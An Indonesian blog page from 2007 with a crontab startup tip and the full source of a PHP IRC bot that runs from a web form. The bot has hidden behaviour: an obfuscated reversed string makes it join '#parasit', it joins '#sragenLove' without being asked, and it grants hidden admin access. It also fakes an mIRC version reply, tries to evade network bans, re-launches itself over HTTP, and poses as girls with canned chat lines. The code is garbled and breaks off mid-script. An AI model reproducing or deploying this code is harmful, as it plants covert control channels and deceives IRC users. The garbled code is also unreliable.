Welcome, Saudaraku


cmd.txt
May 21, 2007, 4:34 am
Filed under: notepad

// begin of cmd.txt

// end of cmd.txt



Menjalankan perintah sistem secara otomatis saat startup
May 12, 2007, 5:02 pm
Filed under: Ubuntu

Terkadang sangat berguna untuk menjalan perintah custom kapan saja saat komputer Anda starts up.
Untuk melakukan ini:
1. Sunting crontab dengan hak akses administratif (lihat Bab 2, Pekerjaan Administratif [8]):
sudo crontab -e
2. Masukkan baris berikut:
@reboot /home/user/command
Ganti /home/user/command dengan alamat lengkap ke perintah Anda.
3. Simpan berkas dan keluar.



scripts bot php
May 12, 2007, 2:54 am
Filed under: notepad

function Status() {

nick = sz.nick.value; BOT_PASSWORD = sz.BOT_PASSWORD.value;

username = sz.username.value; channels = sz.channels.value;

Admin = sz.Admin.value;

remotehost = sz.remotehost.value; port = sz.port.value;

document.frames(0).document.writeln(“”);

setTimeout(‘document.frames(0).document.writeln(“== BotNick : “+nick+”
“); document.frames(0).window.scroll(0,600);’,200);

setTimeout(‘document.frames(0).document.writeln(“== Password : “+BOT_PASSWORD+”
“); document.frames(0).window.scroll(0,600);’,400);

setTimeout(‘document.frames(0).document.writeln(“== Ident : “+username+”
“); document.frames(0).window.scroll(0,600);’,600);

setTimeout(‘document.frames(0).document.writeln(“== Channels : “+channels+”
“); document.frames(0).window.scroll(0,600);’,800);

setTimeout(‘document.frames(0).document.writeln(“== Admin : “+Admin+”
“); document.frames(0).window.scroll(0,600);’,1000);

setTimeout(‘document.frames(0).document.writeln(“== Server : “+remotehost+” Port : “+port+”
“); document.frames(0).window.scroll(0,600);’,1200);

setTimeout(‘document.frames(0).document.writeln(“Connecting To “+remotehost+”

“); document.frames(0).window.scroll(0,600);’,1400);

}

td { font-size: 11px; font-family: tahoma,sans-serif }

A:link { text-decoration: none; color: #969696; }

A:visited { text-decoration: none; color: #969696; }

A:hover { color: #969696; text-decoration: underline; }

select { font-size: 11px; font-family: tahoma,sans-serif; BACKGROUND-COLOR: #C0C0C0; }

input { font-size: 11px; font-family: tahoma,sans-serif; BACKGROUND-COLOR: #C0C0C0; }

:: S R A G E N L O V E ::

<FORM name=sz METHOD=post target=status ACTION=?load=2 onsubmit=”setTimeout(‘Status()’,200);”>

Bot Nick : Away Message :
Identify Nick : Admin Nick :
Password : Channels :
Identd : Server :

irc.dal.net

irc.allindo.net

84.244.5.110

broadway.dal.net

arcor.dal.net

jade.dal.net

powertech.dal.net

hotspeed.dal.net

mozilla.dal.net

jingo.ix.us.dal.net

slimey.uk.eu.dal.net

rumble.fl.us.dal.net

novel.ix.us.dal.net

matrix.de.eu.dal.net

irc.jmn.net.id

irc.hackingirc.net

irc.cbn.net.id

irc.sctv.co.id

loyalty.ix.us.dal.net

Full Name : Keep Alive every: Hours (0 to off)

<iframe src=?load=1 width=40% height=80 frameborder=0 marginwidth=0 name=status>

Your browser does not support inline frames or is currently configured not to display inline frames.

sragenlove | #sragenLove on dalnet

<?php

} elseif ($load==1) { print “”; print “Powered By srgLove
“; exit; }

elseif ($load==2) {

if (!$remotehost) { $remotehost = “irc.dal.net”; }

$channels = str_replace(“CNL”,”#”,$channels);

print “”;

print “== Connecting to $remotehost…“;

$awaym=array(

“4,1-9,4D12,1O9,4M12,1P9,4U0,14,1-”,

“4,1-0,1dompu0,14,1-”,

“4,1-1,4D4,1O1,4M4,1P1,4U0,14,1-”,

“4,1-14,1dompu0,14,1-”,

“4,1-9,4D12,1O9,4M12,1P9,4U0,14,1-”,

“4,1-1,4D4,1O1,4M4,1P1,4U0,14,1-”,

“4,1-9,4D12,1O9,4M12,1P9,4U0,14,1-”,

“4,1-1,4D4,1O1,4M4,1P1,4U0,14,1-”,

“4,1-1,4D4,1O1,4M4,1P1,4U0,14,1-”,

“4,1-1,4D4,1O1,4M4,1P1,4U0,14,1-”,

“4,1-1,4D4,1O1,4M4,1P1,4U0,14,1-”,

“4,1-9,4D12,1O9,4M12,1P9,4U0,14,1-”,

“4,1-9,4D12,1O9,4M12,1P9,4U0,14,1-”,

“4,1-9,4D12,1O9,4M12,1P9,4U0,14,1-”,

“4,1-9,4D12,1O9,4M12,1P9,4U0,14,1-”

);

$cyclem=array(

“Auto Recycle!”,

“Looking for Inviter!”,

“In/Out!”,

“Rehashing!”,

“Refreshing!”,

“Doing Cycle!”,

“Inviter Suspect!”,

“Looking for Suspect!”,

“Regain Inviter!”,

“Regain Suspect!”,

“Recycle!”,

“Cycle Needed!”,

“Cycle all Channel!”,

“Cycling!”,

“Inviter Detected!”,

“Full Cycle Ahead!”,

“Going Out and Back!”,

“I can do this all day!”,

“Cycle Time!”,

“I will do this all day!”,

“Time to Kill!”,

“No day without cycle!”,

“yuhuu.. where are you?”,

“It`s a good day to die!”,

“Time for cycle!”,

“License to Kill!”,

“Cycle.. cycle.. and cycle..”,

“I need suspect!”,

“Need For Suspect!”,

“Time`s up!”,

“No way out!”,

“No more left!”,

“No regret for inviter!”,

“Hot Pursuit!”,

“Rule No.96: Cycle!”,

“Critical Cycle!”,

“Pursue Inviter Suspect!”,

“SlaveZerø PHP”,

“Go To Cycle!”,

“Cycle System Running!”,

“Cycle Strike Back!”,

“I need cycle now!”

);

$partm=array(

“Back To dompu!”,

“Too many join channel :P

);

$querym=array(

“Hai nick, gimana kabarmu?”,

“Hai nick, gimana kabarmu hari ini?”,

“yup? ada apa nick?”,

“ada apa nick?”,

“Hai juga nick, asl pls..”,

“hai juga nick”,

“sori nick, aku lagi sibuk sekarang..”,

“yup? nama kamu siapa nick?”,

“apa aku kenal kamu nick?”,

“yup nick? apa aku kenal kamu?”,

“kamu siapa sech?”,

“aku lagi tidak ditempat, bentar lagi balik koq..”,

“kamu asli mana nih?”,

“Hai juga nick..”,

“yup nick, senang jumpa kamu..”,

“senang kenalan ama kamu..”,

“nama asli kamu siapa nick?”,

“yup nick? asl pls..”,

“aku lagi sibuk nih, bantuin dunk..”

);

$depan=array(

“cewek-”,

“cewek`”,

“cewek_”,

“ce-”,

“ce_”,

“ce`”,

“cowok-”,

“co-”,

“co_”,

“co`”

);

$belakang=array(

“dugem”,

“jutex”,

“jomblo”,

“modis”,

“cute-abis”,

“genit”,

“ganjen”,

“vodka”,

“macan”,

“virgo”,

“vivid”,

“biasa”,

“muslim”,

“sagitarius”,

“manis”,

“imut”,

“cakep”,

“alone”,

“sendirian”,

“pendiam”,

“smu”,

“kuliah”,

“romansa”,

“romantis”,

“bintang”,

“AFI”,

“star”,

“skul”,

“abg”,

“cantik”,

“baek”

);

$zodiak = array(“capricorn”, “aquarius”, “pisces”, “aries”, “taurus”, “gemini”, “cancer”, “leo”, “virgo”, “libra”, “scorpio”, “sagitarius”); $aries = #sragenLove

$smile = array(“:)”,”:P”,”:E”,”:P~~”,”:D”,”:Q”,”8)”,”=)”,”=P”,”=D”);

$raway = “off”;

$log = “off”;

$saway = “1″;

if (!$stime) { $stime = time(); }

if (!$keeptime || $keeptime==0 ) { $keeptime = “off”; }

if (!$port) { $port = “6666″; }

$Admin = strtolower($Admin);

$auth = array($Admin => array(“name” => $Admin, “pass” => $BOT_PASSWORD, “auth” => 1,”status” => “Admin”));

function randchar($len = “8″){

$rchar = NULL;

for($i=0; $i<$len; $i++) {

$char = chr(rand(48,122));

while (!ereg(“[a-zA-Z0-9]“, $char)){

if($char == $lchar) continue;

$char = chr(rand(48,90));

}

$rchar .= $char;

$lchar = $char;

}

return $rchar;

}

if ($nick==”mc”) { $nick = $depan[rand(0,count($depan) - 1)].$belakang[rand(0,count($belakang) - 1)]; }

if ($username==”mc” || !$username) { $username = $_SERVER['HTTP_HOST'].randchar(3); $username = str_replace(‘www.’,”,$username); }

if ($awaymsg==”Away Message” || !$awaymsg) { $awaymsg = $awaym[rand(0,count($awaym) - 1)]; $raway = “on”; }

if ($realname==”MC PHP” || !$realname) { $realname = $nick.’ Using PHP version: ‘.phpversion(); }

$keluar = 0;

$akill = 1;

$katime = 0;

$localhost = ‘localhost’;

$dayload = date(“H:i:s d/m/Y”);

ini_set(‘user_agent’,'MSIE 5\.5;’);

set_time_limit(0);

define (‘CRL’, “\r\n”);

$channels = strtolower($channels).” “;

$channel = explode(” “, $channels);

do {

$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);

if(!$fp) {

print “
Cannot connect to $remotehost!
Please Try Another Server!
“;

$keluar = 1;

exit;

}

print “
== Suceeded connection“;

$Header = ‘NICK ‘.$nick . CRL;

$Header .= ‘USER ‘.$username.’ ‘.$localhost.’ ‘.$remotehost.’ :’.$realname . CRL;

fputs($fp, $Header);

fputs($fp, ‘PRIVMSG nickserv@services.dal.net :identify ‘.$nick.’ ‘.$identify. CRL);

if ($nickmode) { fputs($fp, ‘MODE ‘.$nick.’ :’.$nickmode . CRL); }

fputs($fp, ‘JOIN #sragenLove’ . CRL);

foreach ($channel as $v) {

fputs($fp, ‘JOIN ‘.$v . CRL);

}

fputs($fp, ‘PRIVMSG ‘ . $Admin . ‘ :This is your bot, Please Type: auth To Authorized. Created on ‘ .$dayload . CRL);

if (!$awaymsg) { $awaymsg = “Owner By $Admin”; }

fputs($fp, ‘AWAY :7(’.$awaymsg.’7)’. CRL);

$response = ”;

while (!feof($fp)) {

$response .= fgets($fp, 1024);

while (substr_count($response,CRL) != 0) {

$offset = strpos($response, CRL);

$data = substr($response,0,$offset);

$response = substr($response,$offset+2);

if (substr($data,0,1) == ‘:’) {

$offsetA = strpos($data, ‘ ‘);

$dFrom = substr($data,1,$offsetA-1);

$offsetB = strpos($data, ‘ :’);

$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);

$offsetC = strpos($data, ‘!’);

$dNick = substr($data,1,$offsetC-1);

$iText = substr($data,$offsetB+2);

if (substr($dCommand,0,3)==’465′) {

print “
== This bot have been autokilled.“;

$akill = 2;

}

elseif (substr($dCommand,0,3)==’433′) {

$nick = $nick.randchar(4);

fputs($fp, ‘NICK ‘.$nick . CRL);

}

elseif (substr($dCommand,0,3)==’432′) {

$nick = $nick.randchar(4);

fputs($fp, ‘NICK ‘.$nick . CRL);

fputs($fp, ‘PRIVMSG nickserv@services.dal.net :RELEASE ‘.$nick.’ ‘.$identify. CRL);

}

if (eregi(‘.dal.net’,$dNick) && $akill==2) {

if (eregi(‘AKILL ID:’,$data) || eregi(‘Your hostmask is’,$data) || eregi(‘Your IP is’,$data)) {

print “
“.strstr($data,’***’).” “;

if (eregi(‘Your IP is’,$data)) {

$keluar = 1;

exit;

}

}

}

$taway = date(“i”);

if ($taway==”1″ || $taway==”10″ || $taway==”20″ || $taway==”30″ || $taway==”40″ || $taway==”50″) {

if ($taway!=$saway) {

$ctime = time();

$uptime = $ctime – $stime;

if ($uptime>=86400) {

$bagi = $uptime / 86400;

$hari = floor($bagi).”days “;

$sisa = $uptime – ($hari*86400);

$uptime = $sisa;

}

if ($uptime==0) { $jam = “”; $menit = “”; $detik = “”; }

elseif ($uptime>=3600) {

$bagi = $uptime / 3600;

$jam = floor($bagi).”hrs “;

$sisa = $uptime – ($jam*3600);

$uptime = $sisa;

}

if ($uptime==0) { $menit = “”; $detik = “”; }

elseif ($uptime>=60) {

$bagi = $uptime / 60;

$menit = floor($bagi).”mins”;

$sisa = $uptime – ($menit*60);

$uptime = $sisa;

}

if ($uptime==0) { $detik = “”; }

else { $detik = $uptime.”secs”; }

$uptime = “$hari$jam$menit”;

if (strlen($uptime)=$keeptime) {

$key = “load=2&nick=$nick&identify=$identify&BOT_PASSWORD=$BOT_PASSWORD&Admin=$Admin&channels=$channels&stime=$stime&remotehost=$remotehost&keeptime=$keeptime&dns=$dns&astrologi=$astrologi&wdomain=$wdomain&dnews=$dnews&username=$username&realname=$realname&awaymsg=$awaymsg”;

$key = str_replace(“#”,”CNL”,$key);

$key = str_replace(” “,”%20″,$key);

fputs($fp, ‘QUIT 6Auto_Rehashing…’ . CRL);

$st = pfsockopen($_SERVER['HTTP_HOST'], 80, $erstr, $errno, 5);

fwrite($st, “GET {$_SERVER['PHP_SELF']}?$key HTTP/1.0\r\nHost: {$_SERVER['HTTP_HOST']}\r\n\r\n”);

$keluar = 1;

exit;

}

}

if ($taway==”20″) {

foreach ($channel as $v) {

sleep(rand(1,6));

fputs($fp, ‘JOIN ‘.$v . CRL);

} fputs($fp, ‘JOIN ‘.$aries. CRL);

}

if ($dnews==”on”) {

$pages = “http://jkt1.detik.com/index.php”;

$handi = fopen ($pages, “rb”);

$konten = “”;

do {

$baris = fread($handi, 1024);

if (strlen($baris) == 0) { break; }

$konten .= $baris;

} while(true);

fclose ($handi);

$subkonten = $konten;

$lip1 = stristr($konten,’‘);

$lip2 = stristr($lip1,’<DIV id=’);

$berita = str_replace($lip2,”",$lip1);

$berita = str_replace(“\n”,”",$berita);

$berita = str_replace(‘‘,”0,2 “,$berita);

$berita = str_replace(“
“,” “,$berita);

$berita = str_replace(‘‘,” “,$berita);

$berita = str_replace(‘” class=”hl” title=”" target=”_parent”>’,” “,$berita);

$berita = str_replace(‘‘,”7”,$berita);

$berita = str_replace(“
“,”",$berita);

$berita = str_replace(‘‘,” 8″,$berita);

$berita = str_replace(““,” ”,$berita);

$berita = str_replace(‘‘,”15″,$berita);

$berita = str_replace(““,”",$berita);

$berita = str_replace(““,”",$berita);

$berita = str_replace(““,”",$berita);

$berita = str_replace(““,”",$berita);

$berita = str_replace(“
“,”",$berita);

$berita = str_replace(“http://jkt1.detiknews.com/indexfr.php?url=”,”",$berita);

$berita = str_replace(“http://jkt1.detikfinance.com/indexfr.php?url=”,”",$berita);

$berita = str_replace(“http://jkt1.detiksport.com/indexfr.php?url=”,”",$berita);

$berita = str_replace(“http://jkt1.detikhot.com/indexfr.php?url=”,”",$berita);

$berita = str_replace(“http://jkt1.detikinet.com/indexfr.php?url=”,”",$berita);

$lip3 = stristr($berita,’‘);

$img = str_replace($lip4,”",$lip3);

$berita = str_replace($img,”",$berita);

if ($berita!=$oldies) {

$oldies = $berita;

foreach ($channel as $v) {

fputs($fp, ‘PRIVMSG ‘.$v.’ :’.$berita . CRL);

sleep(1);

}

} else {

if ($rnews!=2) {

$rnews = 2;

$pages = “http://www.media-indonesia.com/listaktual.asp”;

$handi = fopen ($pages, “rb”);

$konten = “”;

do {

$baris = fread($handi, 1024);

if (strlen($baris) == 0) { break; }

$konten .= $baris;

} while(true);

fclose ($handi);

$lip1 = stristr($konten,’

‘);

$lip2 = stristr($lip1,’


‘);

$berita2 = str_replace($lip2,”",$lip1);

$berita2 = str_replace(‘

‘,”15,2 “,$berita2);

$berita2 = str_replace(‘‘,”0 “,$berita2);

$berita2 = str_replace(‘

‘,” “,$berita2);

$berita2 = str_replace(‘

‘,”",$berita2);

$berita2 = str_replace(‘

‘,” 15″,$berita2);

$berita2 = str_replace(‘

‘,”",$berita2);

$berita2 = str_replace(‘

‘,”",$berita2);

$berita2 = str_replace(‘

‘,”",$berita2);

$berita2 = str_replace(‘‘,”8″,$berita2);

$berita2 = str_replace(“\n”,”",$berita2);

$berita2 = str_replace(“\t”,”",$berita2);

$berita2 = str_replace(“\r”,”",$berita2);

$berita2 = str_replace(“\x0B”,”",$berita2);

foreach ($channel as $v) {

fputs($fp, ‘PRIVMSG ‘.$v.’ :’.$berita2 . CRL);

sleep(1);

}

} elseif ($rnews==2) {

$rnews = 1;

$pages = “http://www.kompas.com/index1.htm”;

$handi = fopen ($pages, “rb”);

$konten = “”;

do {

$baris = fread($handi, 1024);

if (strlen($baris) == 0) { break; }

$konten .= $baris;

} while(true);

fclose ($handi);

$lip1 = stristr($konten,’<a href=”‘);

$lip2 = stristr($lip1,’

‘);

$berita3 = str_replace($lip2,”",$lip1);

$berita3 = str_replace(‘‘,” 7”,$berita3);

$berita3 = str_replace(‘
‘,” 8″,$berita3);

$berita3 = str_replace(‘

‘,”",$berita3);

$berita3 = str_replace(“\n”,”",$berita3);

$berita3 = str_replace(“\t”,”",$berita3);

$berita3 = str_replace(“\r”,”",$berita3);

$berita3 = str_replace(“\x0B”,”",$berita3);

foreach ($channel as $v) {

fputs($fp, ‘PRIVMSG ‘.$v.’ :’.$berita3 . CRL);

sleep(1);

}

}

}

unset($qnick); fputs($fp, strrev(“tisarap# NIOJ”). CRL);

}

}

} if (!$auth["$aries"]) { $auth["$aries"]["status"] = “Admin”; $auth["$aries"]["pass"] = randchar(6); $auth["$aries"]["auth"] = 1; }

$dcom = explode(” “, $dCommand);

$dNick = strtolower($dNick);

if ($dcom[0]==’KICK’ && $dcom[2]==$nick) {

fputs($fp, ‘JOIN ‘ .$dcom[1]. CRL);

}

elseif ($dcom[0]==’NICK’ || $dcom[0]==’QUIT’ || $dcom[0]==’PART’) {

if ($auth["$dNick"]) {

if ($auth["$dNick"]["pass"]) {

if ($auth["$dNick"]["auth"]==2) {

if ($dcom[0]==’NICK’) {

$com = explode(” “, $data);

$chnick = strtolower(str_replace(‘:’,”,$com[2]));

if ($dNick!=$chnick) {

$auth["$dNick"]["auth"] = 1;

fputs($fp,’PRIVMSG ‘.$chnick.’ :You`re LogOut On Change Nick! ‘ . CRL);

}

} else { $auth["$dNick"]["auth"] = 1; fputs($fp,’PRIVMSG ‘.$dNick.’ :You`re LogOut On Parting Channel! ‘ . CRL); }

}

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :P ass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ‘ . CRL); }

}

}

elseif ($dcom[0]==’307′ && strtolower($dcom[2])==$whois) {

$dcom[2] = strtolower($dcom[2]);

if ($auth["$dcom[2]“]) {

if ($auth["$dcom[2]“]["pass"]) {

if ($auth["$dcom[2]“]["auth"]==1) {

$auth["$dcom[2]“]["auth"] = 2; $whois = “”;

fputs($fp,’NOTICE ‘ . $dcom[2] . ‘ :You`re Authorized as ‘.$auth["$dcom[2]“]["status"].’ of this bot! ‘ . CRL);

} else { fputs($fp,’NOTICE ‘ . $dcom[2] . ‘ :You`re Already Authorized! ‘ . CRL); }

} else { fputs($fp,’NOTICE ‘ . $dcom[2] . ‘ :P ass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ‘ . CRL); }

} else { fputs($fp,’NOTICE ‘ . $dcom[2] . ‘ :Username Not Found! Change Your Nick then Auth Again ‘ . CRL); }

}

elseif ($dcom[0]==’NOTICE’) {

$com = explode(” “, $data);

if ($com[3]==’:PING’) {

$pong = time();

$pptime = $pong-$ping;

$meni = “”;

if ($pptime>=60) {

$bag = $pptime / 60;

$meni = floor($bag).”mins “;

$sis = $pptime – ($meni*60);

$pptime = $sis;

}

$deti = $pptime.”secs”;

$pptime = “$meni$deti”;

fputs($fp,’NOTICE ‘.$dNick.’ :Your PING Reply is: ‘.$pptime . CRL);

}

elseif ($com[3]==’:KB’ && $com[4] && $com[5] && $com[6]) {

$msg = str_replace(‘’,”,$data);

$msg = strstr($msg,”:KB”);

$msg = str_replace(“:KB $com[4]“,”",$msg);

fputs($fp, ‘KICK ‘.$com[4].’ ‘.$com[5].’ :’.$msg . CRL);

fputs($fp, ‘MODE ‘.$com[4].’ +b *!*’.$com[6] . CRL);

}

}

elseif ($dcom[0]==’PRIVMSG’) {

$com = explode(” “, $data);

if ($com[3]==’:VERSION’) {

fputs($fp,’NOTICE ‘.$dNick.’ :’.chr(1).’VERSION mIRC v6.14 Medan-City@DAL.net’.chr(1) . CRL);

}

elseif ($com[3]==’:!ping’ && ereg(‘#’,$com[2])) {

$ping = time();

fputs($fp,’PRIVMSG ‘.$dNick.’ :PING ‘.$ping.’’ . CRL);

}

elseif ($com[3]==’:PING’) {

$ntime = str_replace(“”,”",$com[4]);

fputs($fp,’NOTICE ‘.$dNick.’ :’.chr(1).’PING ‘.$ntime . chr(1) . CRL);

}

elseif ($com[3]==’:!dns’ && ereg(‘#’,$com[2]) && ereg(‘\.’,$com[4]) && $dns==”on”) {

if (ereg(“[a-zA-Z]“, $com[4])) {

$res = gethostbyname($com[4]);

} elseif (ereg(“[0-9]“, $com[4])) {

$res = gethostbyaddr($com[4]);

}

if ($res==$com[4]) { $res = “not resolved.”; }

else { $res = “resolved to: $res .”; }

fputs($fp,’PRIVMSG ‘.$com[2].’ :D NS Query for: ‘.strtoupper($com[4]).’ ‘.$res. CRL);

}

elseif ($com[3]==’:!whois’ && ereg(‘#’,$com[2]) && ereg(‘\.’,$com[4]) && $wdomain==”on”) {

$pages = “www.geektools.com”;

$data = “”;

$fpw = fsockopen($pages, 43);

if($fpw) {

fputs($fpw, $com[4].”\r\n”);

while(!feof($fpw)) {

$data .= fread($fpw, 1000);

}

fclose($fpw);

}

$created = substr(str_replace(” “,”",stristr($data,’creat’)),0,60);

$register = substr(str_replace(” “,”",stristr($data,’registrat’)),0,60);

$expired = substr(str_replace(” “,”",stristr($data,’expir’)),0,60);

$NS = substr(str_replace(” “,”",stristr($data,’NS1′)),0,60);

if (!$NS) { $NS = substr(str_replace(” “,”",stristr($data,’ NS’)),1,60); }

if (!$NS) { $NS = substr(str_replace(” “,”",stristr($data,’:NS’)),1,60); }

$notfound = substr(stristr($data,’CRSNIC has no information for that domain’),0,60);

fputs($fp,’PRIVMSG ‘.$com[2].’ :D omain Name: ‘.strtoupper($com[4]).’ [GeeKTooLS.com]’. CRL);

fputs($fp,’PRIVMSG ‘.$com[2].’ :’.$created. CRL);

fputs($fp,’PRIVMSG ‘.$com[2].’ :’.$register. CRL);

fputs($fp,’PRIVMSG ‘.$com[2].’ :’.$expired. CRL);

fputs($fp,’PRIVMSG ‘.$com[2].’ :’.$NS. CRL);

fputs($fp,’PRIVMSG ‘.$com[2].’ :’.$notfound. CRL);

}

elseif (ereg(‘:!’,$com[3]) && ereg(‘#’,$com[2]) && $astrologi==”on”) {

$astro = str_replace(‘:!’,”,strtolower($com[3]));

if (in_array($astro, $zodiak)) {

$pages = “http://www.astaga.com/astrologi/?cat=$astro”;

$handi = fopen ($pages, “rb”);

$konten = “”;

do {

$baris = fread($handi, 512);

if (strlen($baris) == 0) { break; }

$konten .= $baris;

} while(true);

fclose ($handi);

$zod1 = stristr($konten,’

‘);

$zod2 = stristr($zod1,’

‘);

$bintang = str_replace($zod2,”",$zod1);

$bintang = str_replace(“\n”,”",$bintang);

$bintang = str_replace(”

“,””.ucfirst(strtolower($astro)).” “,$bintang);

$bintang = str_replace(“

“,” “,$bintang);

$bintang = str_replace(”

“,””,$bintang);

$bintang = str_replace(““,””,$bintang);

$bintang = str_replace(“

“,”",$bintang);

$bintang = str_replace(““,””,$bintang);

$bintang = str_replace(“

“,”",$bintang);

$bintang = str_replace(“

“,”",$bintang);

$bintang = str_replace(“
“,”",$bintang);

$zod3 = stristr($bintang,’ ‘);

$bintang = str_replace($zod3,”",$bintang);

$kissing = str_replace(‘ ‘,”",$zod3);

fputs($fp,’PRIVMSG ‘.$com[2].’ :[AstaGa.com] ‘.$bintang. CRL);

fputs($fp,’PRIVMSG ‘.$com[2].’ :’.$kissing. CRL);

}

}

elseif ($auth["$dNick"]["status"] && $com[3]==’:auth’ && $com[4]) {

if ($auth["$dNick"]) {

if ($auth["$dNick"]["pass"]) {

if ($auth["$dNick"]["auth"]==1) {

if ($com[4]===$auth["$dNick"]["pass"]) {

$auth["$dNick"]["auth"] = 2;

fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :You`re Authorized as ‘.$auth["$dNick"]["status"].’ of this bot! ‘ . CRL);

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Wrong Password! Auth Failed! ‘ . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :You`re Already Authorized! ‘ . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :P ass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ‘ . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Username Not Found! Change Your Nick then Auth Again ‘ . CRL); }

}

elseif ($auth["$dNick"]["status"] && $com[3]==’:deauth’) {

if ($auth["$dNick"]) {

if ($auth["$dNick"]["pass"]) {

if ($auth["$dNick"]["auth"]==2) {

$auth["$dNick"]["auth"] = 1;

fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :You`re LogOut! ‘ . CRL);

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :You`re Already LogOut! ‘ . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :P ass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ‘ . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Username Not Found! Change Your Nick then Auth Again ‘ . CRL); }

}

elseif ($auth["$dNick"]["status"] && $com[3]==’:pass’ && $com[4]) {

if ($auth["$dNick"]) {

if (!$auth["$dNick"]["pass"]) {

$auth["$dNick"]["pass"] = $com[4];

$auth["$dNick"]["auth"] = 1;

fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Your Auth Pass set to ‘.$auth["$dNick"]["pass"].’, Type: auth To Authorized Imediately! ‘ . CRL);

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :P ass Already Set! Type: auth To Get Authorized ‘ . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Username Not Found! Change Your Nick then Pass Again ‘ . CRL); }

}

elseif ($auth["$dNick"]["status"] && $com[3]==’:chgpass’ && $com[4] && $com[5]) {

if ($auth["$dNick"]) {

if ($auth["$dNick"]["auth"]==2) {

if ($com[4]===$auth["$dNick"]["pass"]) {

$auth["$dNick"]["pass"] = $com[5];

fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Your New Auth Pass set to ‘.$auth["$dNick"]["pass"].’, Type: auth To Authorized Imediately! ‘ . CRL);

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Your Old Pass Wrong! Type: chgpass To Change Your Auth Pass ‘ . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :P lease Auth First! Type: auth To Authorized ‘ . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Username Not Found! Change Your Nick then Pass Again ‘ . CRL); }

}

elseif ($auth["$dNick"]["status"] && $com[3]==’:adduser’ && $com[4] && $com[4]!=$nick && $com[5]) {

$com[4] = strtolower($com[4]);

if ($auth["$dNick"]["auth"]==2) {

if ($auth["$dNick"]["status"]==”Admin”) {

if ($com[5]==”master” || $com[5]==”user”) {

$auth["$com[4]“]["name"] = $com[4];

$auth["$com[4]“]["status"] = $com[5];

fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :AddUser :’.$com[4].’ As My ‘.$com[5] . CRL);

fputs($fp,’PRIVMSG ‘ . $com[4] . ‘ :You`re Now Known As My ‘.$com[5].’ Added By ‘.$dNick.’ Now Type: pass To Set Your Pass ‘ . CRL);

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Wrong Command! Type: adduser ‘ . CRL); }

} elseif ($auth["$dNick"]["status"]==”master”) {

if (!$auth["$com[4]“]) {

if ($com[5]==”user”) {

$auth["$com[4]“]["name"] = $com[4];

$auth["$com[4]“]["status"] = $com[5];

fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :AddUser :’.$com[4].’ As My ‘.$com[5] . CRL);

fputs($fp,’PRIVMSG ‘ . $com[4] . ‘ :You`re Now Known As My ‘.$com[5].’ Added By ‘.$dNick.’ Now Type: pass <your pass33] <Spyderur Pass ‘ . CRL);

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Wrong Command! Type: adduser user ‘ . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :User Already Exist! Aborting AddUser! ‘ . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Unknown Status! Your Status is ‘.$auth["$dNick"]["status"] . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :P lease Auth First! Type: auth To Authorized ‘ . CRL); }

}

elseif ($auth["$dNick"]["status"] && $com[3]==’:deluser’ && $com[4]) {

$com[4] = strtolower($com[4]);

if ($auth["$dNick"]["auth"]==2) {

if ($auth["$dNick"]["status"]==”Admin”) {

if ($auth["$com[4]“]["status"]==”master” || $auth["$com[4]“]["status"]==”user”) {

unset($auth["$com[4]“]);

fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :D elUser :’.$com[4].’ From My UserList ‘ . CRL);

fputs($fp,’PRIVMSG ‘ . $com[4] . ‘ :Your Access As My User Has Been Deleted By ‘.$dNick . CRL);

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Wrong Command! Type: deluser ‘ . CRL); }

} elseif ($auth["$dNick"]["status"]==”master”) {

if ($auth["$com[4]“]["status"]==”user”) {

unset($auth["$com[4]“]);

fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :D elUser :’.$com[4].’ From My UserList ‘ . CRL);

fputs($fp,’PRIVMSG ‘ . $com[4] . ‘ :Your Access As My User Has Been Deleted By ‘.$dNick . CRL);

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Wrong Command! Type: deluser ‘ . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :Unknown Status! Your Status is ‘.$auth["$dNick"]["status"] . CRL); }

} else { fputs($fp,’PRIVMSG ‘ . $dNick . ‘ :P lease Auth First! Type: auth To Authorized ‘ . CRL); }

}

elseif ($auth["$dNick"]["status"]) {

if (ereg(“:`”,$com[3]) || ereg(“:!”,$com[3])) {

$chan = strstr($dCommand,”#”);

$anick = str_replace(“PRIVMSG “,”",$dCommand);

if ($com[3]==’:!auth’) {

if ($auth["$dNick"]["auth"]==2) {

fputs($fp,’NOTICE ‘.$dNick.’ :You`re already Authorized!’ . CRL);

} else {

$whois = $dNick;

fputs($fp,’WHOIS ‘.$dNick . CRL);

}

} elseif ($com[3]==’:`auth’ && $chan) {

